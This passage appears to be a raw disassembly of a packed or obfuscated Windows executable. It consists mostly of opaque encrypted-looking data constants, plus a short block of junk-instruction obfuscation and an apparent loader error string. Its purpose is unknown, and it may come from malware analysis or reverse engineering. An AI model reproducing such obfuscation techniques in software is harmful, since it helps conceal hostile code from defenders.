690FDB39h, 97D5005Dh, 42C82352h dd 0E049D138h, 0F0F65F9Bh, 90347E29h, 373D6C41h, 49D501C6h dd 4ED09CFAh, 1C6611Fh, 0FE67D0D5h, 8761F531h, 947A5ABEh dd 0F470DC2Bh, 5B107909h, 339EB6h, 0F8DC0000h, 1B4A8FDDh dd 0D1384284h, 837046Dh, 0D501FE6Ch, 0EDBA602Ah, 501DC38Fh dd 8194B2Fh, 6876ED09h, 0AD19823Ch, 48DA053Fh, 6FB65B36h dd 7, 89BB5ADh, 756B0000h, 0DC3A07ADh, 87B5A314h, 22522E5Dh dd 76DFDB4Eh, 377EF342h, 0D3C89CEh, 0DB4EEF73h, 0FAC56B33h dd 0D12E4291h, 0F4236804h, 0D1380BD7h, 31D7A200h, 0D9A60FE2h dd 1D3CAAAh, 59FFCCD5h, 0BD632E8Ch, 79EBCFF0h, 0AB990773h dd 5B731630h, 31C5B6h, 0F8030000h, 1B4A8FDDh, 0D1382068h dd 8F35015Fh, 2F0251C2h, 5FACF9C6h, 2205030h, 2978E1D5h dd 2207AFAh, 0AC9806D5h, 5B421131h, 0C6C6B6h, 75040000h dd 0AC521AADh, 38056EDFh, 9E6B11DAh, 5D27840h, 0F439DFA7h dd 0DB8149A7h, 4F20CCB4h, 0A6FC65DBh, 0FA6B38DEh, 6EE697ABh dd 0E8DB4F25h, 8E6E7A20h, 785320C6h, 7DCA0F5Dh, 0C3215C41h dd 9DEC073Eh, 37A0816Eh, 1B2790D1h, 105517BEh, 0F20BAEE1h dd 0F53AA3CAh, 1D4CCE97h, 0CEB19D63h, 0AB078CEh, 0A6F338A1h dd 0B19E0977h, 0B4E328CEh, 0CEB19DCCh, 4493FC65h, 0E1875030h dd 78E2D2C9h, 87A57A98h, 0AE3h, 5F6B11D7h, 20EB47Fh, 0A6B25822h dd 4753F9C6h, 0ECF89E67h, 0C891C6EAh, 6F361622h, 11DDBDC9h dd 0B77F5F6Bh, 0A16E0511h, 0FB1F0E72h, 0D81823D4h, 0FA06AC75h dd 0F4E1521Ah, 0BB762B6Eh, 0B5FF0B74h, 760A3986h, 0BBDB4F20h dd 0AD280352h, 0E02D7ABFh, 4F20CFB1h, 0AAF962DBh, 3821087Bh dd 1983BFD1h, 36960A94h, 0CD360958h, 0AFA3D100h, 6FDDD501h dd 0A7D623F5h, 0D501AFD9h, 3AA0EF58h, 0B65B3328h, 0C9CFh dd 0AD750D00h, 0B1ED3A07h, 9C072B38h, 0A5035200h, 3A6936DCh dd 0DB4E781Ah, 0C2CE743Ch, 0A7741AE2h, 0C031FC5Ah, 0AD3D9FE2h dd 27F45D35h, 0F25B01C9h, 85317BEh, 64B30C7Bh, 0DB204C89h dd 37CD43ACh, 8C9ACED1h, 61F4B35Ch, 48A5B11Ah, 6B9ADF8Dh dd 0CAF2A915h, 216EB31Ch, 8855FBC3h, 0A16AC817h, 38A1470Eh dd 25CB95F3h, 0C591E758h, 0DCBCD01Fh, 0B0556D13h, 0FC987981h dd 9E10927h, 13D90000h, 0B681616Dh, 5A240410h, 0FBC8A8B4h dd 0A0694955h, 0C4ECEEFAh, 1824CA93h, 0BFCB7138h, 616D13DFh dd 713B981h, 0C74A370h, 25D4FB1Eh, 0AC75DA1Ah, 2085FB2Ah dd 43ACDB4Fh, 26EECEDAh, 0D37946A4h, 4F20D4ACh, 8BF45DDBh dd 0AD75357Fh, 9C64C207h, 30993F09h, 0CEA3F263h, 4D15A870h dd 69DAA7h, 684591F4h, 6DBAFF6Dh, 4F20423Eh, 0F59B64DBh dd 0F48DC12Ah, 96B26BBAh, 6D9CE938h, 0D13756F2h, 254E96FFh dd 0AC623A30h, 0FB402CA9h, 24E54FCCh, 6C39A221h, 1D4C4491h dd 24EECD63h, 9D67C43h, 0FB64CD98h, 0ED1C69B6h, 24EECD93h dd 0B7E6359Eh, 1ADC4416h, 2F8DD23Bh, 0D5B5C167h, 20B37A0Dh dd 7744AD53h, 0FA859D06h, 222855A8h, 90D2F4Dh, 0E7AD0000h dd 8A553541h, 2EF8D8E4h, 0CF9C7C88h, 743D1D29h, 28C0C2CEh dd 0ECF89E67h, 939F450Ch, 3541E7B3h, 0DBE78D55h, 38487744h dd 0F9D4FB1Ch, 0AD75AEEEh, 8FED3A07h, 0F3CE1DC3h, 7D69BFE2h dd 7C49EFB8h, 98EDD70Bh, 6493D841h, 0D137588Fh, 97E42992h dd 9C80E4Ah, 0A7E84357h, 7B0080h, 33D9A6D5h, 52B0FF68h dd 3D9BE086h, 6A7ECD73h, 4B18BE8Ah, 0FE82B1FEh, 33D5007Ah dd 344C7BCAh, 0A1D5007Ah, 0D5008AD3h dd 98DD8F46h, 0E9951A69h, 79BE27CAh, 0DFAC521Bh, 0FD4A1F6Eh dd 4E39F1C1h, 22715F9Dh, 3E56FCC4h, 987E4E3Dh, 5CDEFCD1h dd 5E000008h, 6E6F298h, 0A989953Bh, 4D2D39DFh, 0EECEDA80h dd 71737F25h, 0AB511A7Fh, 52F8BF9Fh, 0F49A6646h, 9A4008E8h dd 0FB2AF78Eh, 0D4FB1C85h, 0F861A1ACh, 0FD4A8FDDh, 0DB31D79Fh dd 2A9B680Eh, 4AD7ACDBh, 366AD138h, 0FA4ACBF9h, 0FECB347Ah dd 315975B1h, 8A977326h, 0DC4D1AC0h, 0FBC62473h, 9E694955h dd 8955B3F8h, 56A516E3h, 3B31A681h, 971C7F6h, 47B0D502h dd 0CF75597Ah, 9FAB511Ch, 20786EEh, 2C4493D5h, 964B8E7h dd 248DD502h, 0DA6D3818h, 2D9E6B11h, 0A4C8F7C4h, 1FD50208h dd 0BD6093Bh, 7265A89h, 0B50BD502h, 73DC45EBh, 16BC8767h dd 93C0FC49h, 9838F0B8h, 0EC5887D6h, 7D5012Ch, 741AE442h dd 588BB925h, 882EFA8Dh, 2A6C1443h, 5CC5D501h, 4D8AE7F3h dd 0C8ABDA1Fh, 59D5012Ah, 0E7F423F0h, 6940DF8Fh, 501BDE1Ah dd 57B59744h, 2DA89C08h, 0CAB9E615h, 1A0C2h, 0DDF80000h dd 9FFD4A8Fh, 0AFDE2DD3h, 0D1384A08h, 0D6BB019h, 2112D445h dd 0B736372Dh, 0ADCD094Eh, 0D19B2C5h, 0BFC1F035h, 72D5017Fh dd 0D7A6BA09h, 0B908AE79h, 20ED935Bh, 3A975D3h, 723FE5ADh dd 5F83B201h, 749E92Ch, 6DCB983Eh, 0D2EFBA1h, 47B53B29h dd 1B2DBCF8h, 0A8124612h, 0AC4C3463h, 7CE54DBAh, 6083C12Dh dd 4FADF298h, 7C90DF85h, 612ED49Ch, 612E5186h, 664652BBh dd 0C826F399h, 7F4E5A00h, 0CAB6E532h, 674DBAACh, 0ACA9D7FEh dd 1F884DBAh, 4AA72D0h, 0C08CEA37h, 0F2BF652Dh, 0F8C21881h dd 0FED40352h, 0B0B86662h, 17DF0242h, 0BD856571h, 686F4A17h dd 0EC94C308h, 0CBDB2FF6h, 0C3BD5A8Fh, 148552F8h, 0CA1837E0h dd 9FEE57FDh, 775763CCh, 87C308AEh, 7617812Ch, 0B085D4F9h dd 256A02D5h, 2F9186F6h, 3642ABDBh, 1BE88E56h, 814EF4BDh dd 15C87C60h, 1562A74Dh, 91E799C8h, 0E14ADB2Fh, 2F91C6BAh dd 0B3026BDBh, 0A872D09Fh, 0D5A24815h, 87B6FB64h, 0DB2F91F9h dd 2280CF38h, 336FB45Ah, 0CBFA0938h, 0DB2F81B5h, 73DF137Ch dd 0B388D7B6h, 2C71FFD8h, 2F268BFDh, 414DB6DBh, 70773672h dd 3992F1C8h, 1EC48CEAh, 8127F351h, 7117DE3Ch, 0FF654D22h dd 34DAA245h, 0D01D5928h, 8FCA6F85h, 0EBB31160h, 3A9D7845h dd 0C6BEED32h, 7BDB3008h, 5A260612h, 4D9AE7B4h, 3008621Eh dd 0D57B44DBh, 7752A10Ah, 7ECB1060h, 3008314Fh, 4AA75DBh dd 3481D039h, 30078B05h, 515DC6DBh, 7AD7507h, 0F39964C2h dd 5266B526h, 478CE0F5h, 62D39CFAh, 88D219B1h, 0AAF9625Bh dd 3822E47Bh, 5FA40DD1h, 59ECB412h, 0AD1EEB91h, 0B7067744h dd 0DBE78D59h, 0BC892FFBh, 0A14336Fh, 0CF4FE6Fh, 79F3E2BDh dd 6309D634h, 0B1E02596h, 0D5016DCFh, 5DAAF962h, 0EA99C52Eh dd 26F35CCAh, 0B4517DF7h, 33399CCEh, 0F465A1EEh, 3AE22BB7h dd 8CF42368h, 0A5CEB4B2h, 0C5BEED3Ch, 7CC49DDCh, 20E84613h dd 0F9C3627Ah, 16EB8602h, 532F8h, 1CC28800h, 0BF653010h dd 6309D3B3h, 4AA7757h, 0A94F18F8h, 44159B9Dh, 0E9C9D57Bh dd 90707C22h, 32121EC4h, 21B8C46Ah, 185B2554h, 0CBD6D4FBh dd 8FDDF88Bh, 0DAC1FD4Ah, 0F39249DCh, 842F5180h, 9902DB4Eh dd 41B2E130h, 66D13797h, 0D99CAA2Ah, 0CE24C6CAh, 3A0D5C02h dd 87508CD1h, 0BE7E9CC7h, 4856C6A1h, 62B38C14h, 640F3E13h dd 32D50143h, 97F5C268h, 0E25825CBh, 0F22FF074h, 0F91C2DA2h dd 0EB59C52Eh, 8BE47E79h, 0AB13B65Bh, 51000000h, 4F2280A4h dd 0D6B4E3DBh, 8D5C680Eh, 86990440h, 2816E686h, 4EB17F01h dd 0FA49B2DBh, 6EB3BB1Fh, 4EB1493Fh, 77B3F8DBh, 0CB9C04C3h dd 641C43A9h, 0CDDB4E3Ch, 0D02EFB64h, 6AC7508h, 0A634919Dh dd 0DE3C89CEh, 33A47117h, 3CD3B5E4h, 56EDB4Eh, 6C12DA38h dd 6B339160h, 3F9B76C5h, 51C3F237h, 90DB4E3Eh, 3C641C4Bh dd 64CDDB4Eh, 75FF2EFBh, 5EDB4E7Ch, 86AD5D99h, 0EC1E22D2h dd 5333319Dh, 7BAAEF87h, 0DB4D9299h, 3C9ADF48h, 7016E275h dd 0FCC932A3h, 88283C8Bh, 0B5h, 433D6CB9h, 0EEDB4D90h dd 0C0662F85h, 0DDF8A971h, 681B4A8Fh, 0D9D1384Ah, 7E45A370h dd 6D3593D8h, 1A771C7h, 9A419EB2h, 0E2408DD2h, 37A8751Bh dd 1F67010h, 258C1D5h, 0F7449339h, 1F6B4C8h, 0CF147DD5h dd 0F72D5382h, 9B04D501h, 0FE324567h, 0D5C07B2h, 9A6C0938h dd 0A614D501h, 0B82343BEh, 4ED8B65Bh, 91000000h, 6BC16733h dd 0BB2CF99Fh, 0E3F8A46Ch, 21EA488Dh, 0B0DF2C7Bh, 0DB4F20D0h dd 0CD2BF861h, 2B558406h, 6DB4F21h, 0CB28349Dh, 0F4236810h dd 0DB4F2250h, 8CBB88F1h, 0DB4F60E8h, 2D5D07EBh, 5281C6AEh dd 0DB4EE1F2h, 872DF94Fh, 0D4E049BAh, 7AD758Ah, 6E14DC3Ah dd 9CD00562h, 0DE71B57h, 0E6294878h, 0B01B4A97h, 0A1D137DDh dd 0F011824Bh, 4BA36FFFh, 713EA7h, 307DCA97h, 1C37F01h dd 0B75D27D5h, 45AE79EAh, 0C3ADC7F6h, 65D3D501h, 636204FFh dd 78B4B65Bh, 127735Ch, 56BE0D26h, 2Ah, 5D288694h, 488D68B7h dd 0BA81DF24h, 4978C514h, 0D138203Ah, 0A2D19E07h, 0D5021FD2h dd 0D90440AEh, 0B65B4349h, 11C6Eh, 2886AC00h, 0D3ADDC5Eh dd 5EDB4F20h, 0DF3D8CF5h, 0DF2C7117h, 4F20D0B0h, 670DD6DBh dd 0F55E299Ah, 0AA73D1A6h, 11D93704h, 78409E6Bh, 3F15C6D2h dd 28DB4F25h, 0B5A00CAh, 333FE5ADh, 0BC3E0664h, 4F1BF38Dh dd 6CD53EDBh, 0D177419Fh, 0D42A9304h, 25966309h, 0AB078D6h dd 30E989C5h, 0A36A1645h, 5EC7DB4Eh, 4296C82Ah, 0AF7C22ECh dd 3F1AEF3Eh, 4491D696h, 4F096B15h, 75DC6DBh, 5CCD9A40h dd 0E91C00Dh, 0E3D1383Ch, 0C4116E7Ah, 3E0563A8h, 0AFFC4998h dd 0F9FB2673h, 276C21C2h, 1B188F8h, 0F140A9D5h, 0F26A36C2h dd 0F52471CAh, 0CEB1FA8Bh, 1BEE3DA6h, 35C90AE7h, 547D11A6h dd 1AC2F6DCh, 266BD41Bh, 4D59FFC8h, 4911A46Dh, 35223AA3h dd 0A1987814h, 1FDAECCh, 0F7BD0000h, 9A654551h, 3E08E8F4h dd 0DFAC8C98h, 844D2D39h, 0D8D0D2DEh, 0FC08AE77h, 0A3AF551Ch dd 4551F7C3h, 0EBF79D65h, 28588754h, 9D4FB16h, 3986BEFEh dd 4F20760Ah, 352BBDBh, 2A36DCA5h, 0D0DC824Ah, 8FDDF886h dd 33C1FD4Ah, 776A10A4h, 414271C0h, 0D13811h, 0E9165297h dd 0D287A34h, 519E73C2h, 600AC315h, 844E5DD3h, 37A011DEh dd 0F8BBB9E8h, 57C5D501h, 6A50F2EDh, 0F287B65Bh, 40000000h dd 22C895F3h, 20485FBh, 8D56ACD5h, 0C24A7EE7h, 9C7FC1F3h dd 759860AFh, 0DC3A07ADh, 53A06D13h, 20A9D706h, 1F88DB4Fh dd 25B3A1D0h, 0DBA3DB4Fh, 0C992F035h, 96E55623h, 34DAA282h dd 36498C67h, 85F6C369h, 3D8AD71Ch, 9F6C12DFh, 1B79072Eh dd 4FB8DB4Fh, 4DCED100h, 6DA9D138h, 13420C0Ch, 0D501A46Dh dd 4D275BC4h, 9F72C1BEh, 8CD2A36h, 27F01F64h, 0BACAF1ECh dd 83BF0C51h, 0A104001Bh, 0BC1A695Ah, 3E4271F3h, 0F3CEB1F2h dd 3515218Ah, 670DD96Ch, 0B5E4299Ah, 0CEB1F2CBh, 7C94FD66h dd 98784FC5h, 0D0FE1CF1h, 0EA000000h, 92727E24h, 351521C7h dd 0D9B9C56Bh, 7A5A660Ch, 0FDFF0BB1h, 37DDA6EBh, 0DE844B2Bh dd 8026F2D2h, 26CC9474h, 87B6831Ah, 0D4FB14F9h, 75ED2D38h dd 1AFA06ACh, 0D1A0AC52h, 0C106AC73h, 4F20EE92h, 8BDA43DBh dd 7AD75C3h dd 6E14DC3Ah, 0AFD00562h, 1EE83EE4h, 9BCA0F78h, 0D12322ACh dd 4AF0BD1Bh, 0EABD0C7Dh, 8E56B481h, 0D9A033FBh, 8CFDCA33h dd 6F371723h, 51AFFCC9h, 842AF487h, 8EDD46B7h, 0F79D6D5Fh dd 0FA8D591Ch, 54218A30h, 0B68329F6h, 61B3B195h, 0FFA54E32h dd 117AE3BCh, 0DC0F35A3h, 10B68114h, 0F3BB9BA7h, 0E7437882h dd 0E24BE2BFh, 44EAB715h, 0F2725677h, 95A1470Fh, 7A47EDB5h dd 5F05CF2Dh, 0B4D22192h, 3, 758C546Ah, 0DE3C09AFh, 45A37016h dd 0A806D379h, 106E3BE1h, 76D4A147h, 0DC3A07ADh, 3E9C690Fh dd 0A301CE74h, 0E86532D8h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 push ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] pop esp push 3D7Bh mov [esp], ebx push ecx mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], edi push eax mov eax, 654009Ch push eax add dword ptr [esp], 20FD1DA0h pop ebx sub ebx, 20FD1DA0h pop eax push esp mov edi, [esp] add esp, 4 push ebx pop dword ptr [edi+8] push dword ptr [esp] pop edi add esp, 4 mov ebx, [esp] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp jmp loc_546EAD ; --------------------------------------------------------------------------- db 32h dd 0BA61ADA4h, 0B8EC1351h, 6540D6Ah, 0E0FFC503h, 778ACF63h dd 0F708D0Fh, 2C1B4F49h, 3C2E1763h, 0A8565E7h, 2E4CFA74h dd 5CC6376h, 679C9A41h, 17D5A5F9h, 67C73DB9h, 0CF16CA8h dd 42686554h, 3036F742h, 63A3EA55h, 0EE28D8Dh, 6A0654h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h dd 91C685C3h, 1E59AA28h, 998D899Eh, 8B064D05h, 4D2DDD9Dh dd 1D85C706h, 0B8064D05h, 89000058h, 4D2F3985h, 0E985C706h dd 64D02h, 0E9000000h, 6, 0E6E27DD0h, 0B5FFCE43h, 64D002Dh dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 18h, 40C35646h dd 564F2202h, 25E9BD8Bh, 95FF064Dh, 64D2E55h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Ah, 19C35040h, 0EF2C1203h dd 8B663432h, 0FF006AD6h, 4D051195h, 0EBC08B06h, 234BFC29h dd 7FF60C50h, 0AD2C18A9h, 0CEF6DDF9h, 0ABB7801h, 98891BD7h dd 0B338BA3Eh, 0A8B530C7h, 63B6B160h, 22FBB9EAh, 27E95D8Eh dd 50000001h, 0AC73765Bh, 154EEFh, 41000000h, 7245206Eh dd 20726F72h, 20736168h, 7275636Fh, 20646572h, 6C696877h dd 6F6C2065h, 6E696461h, 6D692067h, 74726F70h, 0AC370073h dd 5CEB77E7h, 3C4977E7h, 0E21F77E7h, 0E30077F7h, 77F7h dd 777E6h, 5 dup(0) dd 0A5FD0000h, 77E7h, 2Bh dup(0) dd 20000h, 0E1480000h, 1DF4C706h, 0A6CF6392h, 7DFB8F96h dd 13113458h, 7735B11Ch, 66427F15h, 35722B61h, 77A9F29Eh dd 0EF883211h, 2B614790h, 73BFBF13h, 99177DA2h, 0E5D069C6h dd 2B4423A8h, 71563213h, 77A96145h, 0EF883211h, 2B614790h dd 62BFBF13h, 99177DA1h, 0EDD069C6h, 2F9B1D5h, 6624661Ah dd 6601B61Ah, 0E3053215h, 6017EB80h, 0E3AFE2EAh, 6042EBD0h dd 0E34EE2EAh, 600914F0h, 0DE705A43h, 0D3EEAEBDh, 60C5393Ch dd 1393B798h, 0B6DD3445h, 7794B79Ch, 0E3053458h, 60102221h dd 73A7BF45h, 3617661Ah, 4285A7EAh, 0E3833458h, 606F1F78h dd 66113215h, 406DB7D3h, 0E013458h, 0E8505B7Ch, 722087EAh dd 0E3053458h, 60090B13h, 0E3ABE2EAh, 605C39C0h, 406DB7D3h dd 0E073458h, 0FA45594Bh, 722087EAh, 0E3053458h, 60090B13h dd 0E3ABE2EAh, 60453D59h, 406DB7D3h, 0E103458h, 88405A3Ch dd 722087EAh, 0E3053458h, 60090B13h, 0E3ABE2EAh, 60453D45h dd 406DB7D3h, 0E013458h, 0BC420AD7h, 722087EAh, 0E3053458h dd 60090B13h, 0E3ABE2EAh, 60453D41h, 74098F96h, 69443458h dd 66227790h, 8394F415h, 238E7F33h, 463AB47Dh, 5797CDEFh dd 0EB177F01h, 2BB13490h, 0EF94CD13h, 322D6A90h, 8394F413h dd 2A8E7F33h, 4094F17Dh, 5797CDF5h, 0EB177F01h, 2BB13490h dd 0EF94CD13h, 322D6E90h, 6651DB13h, 0E34E3215h, 600914F0h dd 822F5A47h, 0D3EE8E5Fh, 60C51EF4h, 5F42B798h, 0B6DD3458h dd 6949B79Ch, 0E34E3441h, 600914F0h, 2C6A5A47h, 0D3EE9459h dd 60C51EF4h, 5F42B798h, 0B6DD3458h, 694DB79Ch, 0E34E3441h dd 600914F0h, 0D2C85A47h, 0D3EECF57h, 60C52624h, 5F42B798h dd 0B6DD3458h, 6904B79Ch, 0E34E3458h, 600914F0h, 0CE815A62h dd 0D3EEC182h, 60C510D4h, 5F42B798h, 0B6DD3458h, 6B40B79Ch dd 0E34E3458h, 600914F0h, 57355A47h, 0D3EEB8C8h, 60C52624h dd 5F42B798h, 0B6DD3458h, 4858B79Ch, 0E34E3458h, 600914F0h dd 0B1B5A43h, 0D3EEE60Ah, 60C5393Ch, 1393B798h, 0B6DD3445h dd 479CB79Ch, 0E34E3458h, 600914F0h, 76585A52h, 0D3EEB3C9h dd 60C52624h, 5F42B798h, 0B6DD3458h, 6CD8B79Ch, 0E34E3458h dd 600914F0h, 0D3C05A52h, 0D3EEB81Ah, 60C52624h, 5F42B798h dd 0B6DD3458h, 696DB79Ch, 0DB0B3441h, 6009157Ch, 37A63D15h dd 0A0113213h, 2BAED790h, 8F2C7E13h, 99FBE809h, 2B0503A0h dd 600DBF13h, 99427F2Ch, 0EA7BBC5h, 0A017661Ah, 2BAED790h dd 0A82C7E13h, 99FF46CBh, 2B0503A0h, 600DBF13h, 99427F2Ch dd 0AA7BBC5h, 0A017661Ah, 2BAED790h, 592C7E13h, 9995B397h dd 2B0503A0h, 600DBF13h, 99427F2Ch, 16A7BBC5h, 0A017661Ah dd 2BAED790h, 7E2C7E13h, 99911D55h, 2B0503A0h, 600DBF13h dd 99427F2Ch, 16A7BBC5h, 0A017661Ah, 2BAED790h, 722C7413h dd 9998EC13h, 2B0503A0h, 600DBF13h, 99427F2Ch, 1EA7BBC5h dd 0A017661Ah, 2BAED790h, 1C2C7513h, 99A3EE05h, 2B0503A0h dd 600DBF13h, 99427F2Ch, 0E6A7BBC5h, 0A017661Ah, 2BAED790h dd 0CA2C7513h, 99CDB59Bh, 2B0503A0h, 600DBF13h, 99427F2Ch dd 0E2A7BBC5h, 0A017661Ah, 2BAED790h, 0B42C7513h, 99F6A8B2h dd 2B0503A0h, 600DBF13h, 99427F2Ch, 0EEA7BBC5h, 0A017661Ah dd 2BAED790h, 622C7513h, 9998F32Ch, 2B0503A0h, 600DBF13h dd 99427F2Ch, 0EAA7BBC5h, 0E517661Ah, 2BA3BFA8h, 46313213h dd 40C7B7D3h, 0E563458h, 86FA1F72h, 727587EAh, 0E3AF3458h dd 605C0B13h, 0E301E2EAh, 60103D85h, 40C7B7D3h, 0E563458h dd 0E8A181A4h, 727587EAh, 0E3AF3458h, 605C0B13h, 0E301E2EAh dd 60103D81h, 40C7B7D3h, 0E523458h, 0A6FE78B2h, 727587EAh dd 0E3AF3458h, 605C0B13h, 0E301E2EAh, 60103D8Dh, 40C7B7D3h dd 0E5D3458h, 9DEE5EFEh, 448587EAh, 0E3AF3458h, 605C0B13h dd 0E301E2EAh, 60102239h, 40C7B7D3h, 0E553458h, 0DDFBBC40h dd 727587EAh, 0E3AF3458h, 605C0B13h, 0E301E2EAh, 60103D89h dd 40C7B7D3h, 0E523458h, 0DA065CE9h, 727587EAh, 0E3AF3458h dd 605C0B13h, 0E301E2EAh, 60103DB5h, 40C7B7D3h, 0E423458h dd 0A0980CBFh, 727587EAh, 0E3AF3458h, 605C0B13h, 0E301E2EAh dd 60103DB1h, 763B8F96h, 69113458h, 6688D291h, 83C1F415h dd 20247F33h, 0F0DF037Dh, 573DCDEFh, 0EB427F01h, 2B1B3490h dd 0EFC1CD13h, 32983290h, 83C1F413h, 20247F33h, 0C12BE47Dh dd 573DCDE9h, 0EB427F01h, 2B1B3490h, 0EFC1CD13h, 32982290h dd 83C1F413h, 20247F33h, 9AB5327Dh, 573DCD87h, 0EB427F01h dd 2B1B3490h, 0EFC1CD13h, 32982690h, 83C1F413h, 20247F33h dd 0B25E587Dh, 573DCDE3h, 0EB427F01h, 2B1B3490h, 0EFC1CD13h dd 32982A90h, 83C1F413h, 20247F33h, 0AB41D57Dh, 573DCD81h dd 0EB427F01h, 2B1B3490h, 0EFC1CD13h, 32983690h, 83C1F413h dd 20247F33h, 4465097Dh, 573DCDA4h, 0EB427F01h, 2B1B3490h dd 0EFC1CD13h, 32983A90h, 83C1F413h, 20247F33h, 1FFBDF7Dh dd 573DCDCAh, 0EB427F01h, 2B1B3490h, 0EFC1CD13h, 32983E90h dd 0EBF9B113h, 66247F3Eh, 0E3D71260h, 60C514F0h, 861A5A46h dd 0D3DDFCABh, 605C2624h, 5F8EB798h, 0B6BB3458h, 698AB79Ch dd 0E3D73441h, 60C514F0h, 38C35A52h, 0D3DDF5A4h, 605C2624h dd 5F8EB798h, 0B6BB3458h, 698EB79Ch, 0DB923441h, 60C51998h dd 0A0644715h, 2B04D790h, 63797513h, 996E506Bh, 2B5003A0h dd 60A7BF13h, 99177F2Ch, 0D60DBBC5h, 0A042661Ah, 2B04D790h dd 90797113h, 991A481Ch, 2B5003A0h, 60A7BF13h, 99177F2Ch dd 0D20DBBC5h, 0A042661Ah, 2B04D790h, 46797113h, 99741382h dd 2B5003A0h, 60A7BF13h, 99177F2Ch, 0DE0DBBC5h, 0E542661Ah dd 2B09BFA8h, 26643213h, 406DB7D3h, 0E073458h, 0ED229A16h dd 722087EAh, 0E3053458h, 60090B13h, 0E3ABE2EAh, 60453DD5h dd 406DB7D3h, 0E073458h, 837904C0h, 722087EAh, 0E3053458h dd 60090B13h, 0E3ABE2EAh, 60453DA9h, 406DB7D3h, 0E073458h dd 8C8800F4h, 722087EAh, 0E3053458h, 60090B13h, 0E3ABE2EAh dd 60453DD1h, 406DB7D3h, 0E073458h, 0E2D39E22h, 722087EAh dd 0E3053458h, 60090B13h, 0E3ABE2EAh, 60453DDDh, 406DB7D3h dd 0E0B3458h, 0F117A2C1h, 722087EAh, 0E3053458h, 60090B13h dd 0E3ABE2EAh, 60453DD9h, 406DB7D3h, 0E0B3458h, 9F4C3C17h dd 722087EAh, 0E3053458h, 60090B13h, 0E3ABE2EAh, 60453DC5h dd 406DB7D3h, 0E093458h, 0AE154B5Ch, 722087EAh, 0E3053458h dd 60090B13h, 0E3ABE2EAh, 60453DCDh, 406DB7D3h, 0E093458h dd 0BAD57F9Ch, 722087EAh, 0E3053458h, 60090B13h, 0E3ABE2EAh dd 60453DC1h, 406DB7D3h, 0E113458h, 0FA391F22h, 722087EAh dd 0E3053458h, 60090B13h, 0E3ABE2EAh, 60453DC9h, 406DB7D3h dd 0E073458h, 0B4F7C23Fh, 722087EAh, 0E3053458h, 60090B13h dd 0E3ABE2EAh, 60453DF5h, 406DB7D3h, 0E163458h, 9B6086FFh dd 722087EAh, 0E3053458h, 60090B13h, 0E3ABE2EAh, 605C3D00h dd 406DB7D3h, 0E033458h, 84BA6B8Ch, 722087EAh, 0E3053458h dd 60090B13h, 0E3ABE2EAh, 60453DF1h, 406DB7D3h, 0E033458h dd 0D7DF52D7h, 722087EAh, 0E3053458h, 60090B13h, 0E3ABE2EAh dd 60453DFDh, 406DB7D3h, 0E033458h, 0B984CC01h, 722087EAh dd 0E3053458h, 60090B13h dd 0E3ABE2EAh, 60453DF9h, 406DB7D3h, 0E1B3458h, 0F872C07Dh dd 722087EAh, 0E3053458h, 60090B13h, 0E3ABE2EAh, 60453DE5h dd 406DB7D3h, 0E0B3458h, 0A1DE492Ah, 722087EAh, 0E3053458h dd 60090B13h, 0E3ABE2EAh, 60452209h, 406DB7D3h, 0E033458h dd 9C795C59h, 722087EAh, 0E3053458h, 60090B13h, 0E3ABE2EAh dd 60452235h, 406DB7D3h, 0E033458h, 0A52416D8h, 722087EAh dd 0E3053458h, 60090B13h, 0E3ABE2EAh, 60452231h, 406DB7D3h dd 0E1B3458h, 0B29952D9h, 722087EAh, 0E3053458h, 60090B13h dd 0E3ABE2EAh, 60453DE1h, 406DB7D3h, 0E1B3458h, 0F8CB665Bh dd 722087EAh, 0E3053458h, 60090B13h, 0E3ABE2EAh, 60453DEDh dd 406DB7D3h, 0E1B3458h, 0B7311A5Dh, 722087EAh, 0E3053458h dd 60090B13h, 0E3ABE2EAh, 60453DE9h, 66E0367Fh, 0E443205h dd 66222215h, 0F3EE327Fh, 60C52390h, 419DB79Ch, 0E3AF3458h dd 6042E12Dh, 62E2E2EAh, 6654327Dh, 46225A15h, 667B3215h dd 770DA7EAh, 0E3CD3458h, 606F2368h, 69A4B79Ch, 26E23458h dd 6654327Dh, 66225A15h, 667B3214h, 770DA7EAh, 0E3CD3458h dd 606F2A30h, 6B50879Eh, 0FB033458h, 60091DDCh, 4457879Ch dd 0FB983458h, 60C534CCh, 498DAF9Eh, 6DA93458h, 6911CB96h dd 6682ED91h, 6156215h, 0E3ABF226h, 605C3638h, 66880EABh dd 42303115h, 658F5435h, 0ED311651h, 128B4A65h, 18CF1231h dd 0D79FBB0Dh, 0E3177F34h, 6C0D3DEAh, 8E443215h, 6622231Bh dd 6611A3FCh, 0B1036315h, 0EF40E07Eh, 2B03E780h, 0E155813h dd 66882215h, 99445847h, 2B33B780h, 2794BB13h, 0ED8E7F05h dd 0B9AC6BC5h, 30223205h, 425531B8h, 0B903A531h, 0C8840042h dd 99DBB71Ah, 4D4FCDEAh, 0B10360EEh, 419D8F9Eh, 0AFA13458h dd 0ECD101EAh, 20490013h, 0A7C3369Eh, 0AE113AFCh, 8C943D5Fh dd 0ED77CDEAh, 3C94C5D4h, 0A4A1309Ch, 0E3EE6011h, 60C53638h dd 6269A79Eh, 0F31B3458h, 605C13A4h, 6682B61Ah, 381E3215h dd 8F26F496h, 99EECD8Eh, 3FE96C4Fh, 7C1F54Dh, 66247F09h dd 0A1113215h, 2B859F90h, 66443213h, 29FB115h, 6617661Ah dd 6680B61Ah, 0FBC93215h, 60716D59h, 0E3EEE1EAh, 60C51010h dd 44418F96h, 69463458h, 66115097h, 630DF515h, 67427F37h dd 6223215h, 762D8798h, 0DB053441h, 60101EB2h, 0B1A9CC3Eh dd 41C88F9Eh, 0AF0B3458h, 0EC8401EAh, 20E30013h, 0A796369Eh dd 0AEBB3AFCh, 8CC13D5Fh, 0EDDDCDEAh, 5FC1C5D4h, 2BA4C790h dd 71C03D13h, 0E5223215h, 2B3097A8h, 0E3873213h, 6644321Fh dd 4B4FB7D2h, 66103458h, 0DFE93215h, 4100BC67h, 70207FAFh dd 0D3989F24h, 60C51060h, 66B874D2h, 5B223215h, 88FFDCFBh dd 